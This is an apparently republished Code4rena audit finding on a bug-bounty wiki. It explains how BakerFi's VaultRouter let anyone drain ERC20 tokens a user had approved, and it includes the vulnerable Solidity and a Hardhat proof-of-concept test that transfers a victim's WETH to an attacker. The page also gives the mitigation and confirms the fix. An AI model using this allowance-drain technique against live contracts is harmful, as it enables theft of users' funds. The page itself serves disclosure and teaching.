Skip to content
Access control Audit finding Intermediate

Malicious actors can exploit user-approved allowances on VaultRouter to drain their ERC20 tokens

The VaultRouter contract allowed anyone to call its execute function with PULL_TOKEN_FROM or PUSH_TOKEN_FROM commands to transfer a user's ERC20 tokens if the user had approved VaultRouter to spend them. An attacker could drain all approved tokens from a victim's wallet.

0xpiken Follow with 0xlemon, MrPotatoMagic and 1 other

Originally disclosed on Code4rena

Submitted by 0xpiken, also found by 0xlemon, MrPotatoMagic, and shaflow2

https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultRouter.sol#L186-L202

https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultRouter.sol#L234-L252

Finding description and impact

Once a user approves VaultRouter to spend their ERC20 tokens, anyone could call VaultRouter#execute() to drain the user’s ERC20 assets.

Proof of Concept

The VaultRouter#execute() function allows users to perform multiple commands within a single transaction. One such use case involves depositing ERC20 tokens into VaultRouter using the PULL_TOKEN command. Subsequently, these tokens can be further processed within the same transaction through other commands, such as V3_UNISWAP_SWAP for token swaps or ERC4626_VAULT_DEPOSIT for depositing into an ERC4626 vault. Before depositing ERC20 tokens into VaultRouter using the PULL_TOKEN command, the user must approve VaultRouter to spend their ERC20 token in advance. However, a malicious actor can exploit this approval to drain the user’s ERC20 token through VaultRouter with PULL_TOKEN_FROM or PUSH_TOKEN_FROM commands:

  • A malicious actor can call PULL_TOKEN_FROM to transfer ERC20 token from the user into VaultRouter, then use PUSH_TOKEN command to transfer drained token from VaultRouter to specified address.
  • A malicious actor can call PUSH_TOKEN_FROM command transfer ERC20 token from the user to any address directly.

The root cause is that either PULL_TOKEN_FROM or PUSH_TOKEN_FROM command allows anyone to transfer a user’s ERC20 token as long as VaultRouter is approved to spend their assets: https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/hooks/UseTokenActions.sol

    function pullTokenFrom(IERC20 token, address from, uint256 amount) internal virtual {
        // Check if the token address is valid
        if (address(token) == address(0)) revert InvalidToken();

        if (token.allowance(from, address(this)) < amount) revert NotEnoughAllowance();
        // Use SafeERC20 to transfer tokens from the specified address to this contract
@>      IERC20(token).safeTransferFrom(from, address(this), amount);
    }

    function pushTokenFrom(IERC20 token, address from, address to, uint256 amount) internal virtual {
        // Check if the token address is valid
        if (address(token) == address(0)) revert InvalidToken();
        // Check if the recipient address is valid
        if (address(to) == address(0)) revert InvalidRecipient();

        if (token.allowance(from, address(this)) < amount) revert NotEnoughAllowance();
        // Use SafeERC20 to transfer tokens from the specified address to another specified address
@>      IERC20(token).safeTransferFrom(from, to, amount);
    }

Copy below codes to VaultRouter.ts and run npm run test:

  it.only('Drain all WETH from owner', async function () {
    const { vaultRouter, weth, owner, otherAccount } = await deployFunction();
    //@audit-info owner has 10000e18 WETH
    expect(await weth.balanceOf(owner.address)).to.equal(ethers.parseUnits('10000', 18));
    //@audit-info owner approves vaultRouter to spend their WETH
    await weth.approve(await vaultRouter.getAddress(), ethers.parseUnits('10000', 18));
    let iface = new ethers.Interface(VaultRouterABI);
    const commands = [
      [
        VAULT_ROUTER_COMMAND_ACTIONS.PUSH_TOKEN_FROM,
        '0x' +
          iface
            .encodeFunctionData('pushTokenFrom', [await weth.getAddress(), owner.address, otherAccount.address, ethers.parseUnits('10000', 18)])
            .slice(10),
      ],
    ];
    //@audit-info otherAccount drains owner's WETH
    await vaultRouter.connect(otherAccount).execute(commands);
    expect(await weth.balanceOf(owner.address)).to.equal(0);
    expect(await weth.balanceOf(otherAccount.address)).to.equal(ethers.parseUnits('10000', 18));
  });

As we can see, owner’s all WETH was drained.

Recommended mitigation steps

To protect users from potential exploitation, the PULL_TOKEN_FROM and PUSH_TOKEN_FROM commands should be executed only when msg.sender is from.

chefkenji (BakerFi) confirmed

BakerFi mitigated:

PR-20

Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.


The original report as published on Code4rena, by 0xpiken. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The PULL_TOKEN_FROM and PUSH_TOKEN_FROM commands did not check that the caller was the token owner, so anyone could use the victim's existing allowance to VaultRouter to transfer their tokens.

Impact

An attacker could drain all ERC20 tokens that a user had approved VaultRouter to spend.

What the attacker needed

Victim has approved VaultRouter to spend tokens

The fix

The PULL_TOKEN_FROM and PUSH_TOKEN_FROM commands should only be executable when the caller (msg.sender) is the same as the 'from' address.

How it was found

  1. The victim approves VaultRouter to spend their ERC20 tokens.
  2. The attacker calls VaultRouter.execute() with a PUSH_TOKEN_FROM command specifying the victim as the source and the attacker as the recipient.
  3. The tokens are transferred from the victim to the attacker.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you use a decentralised app, you often give a smart contract permission to take tokens from your wallet. This report shows that the contract let anyone use that permission to move your tokens to themselves. So if you had approved it, a stranger could steal your tokens.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by 0xpiken

View all

29 more disclosed reports, best first.

More from BakerFi Invitational

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.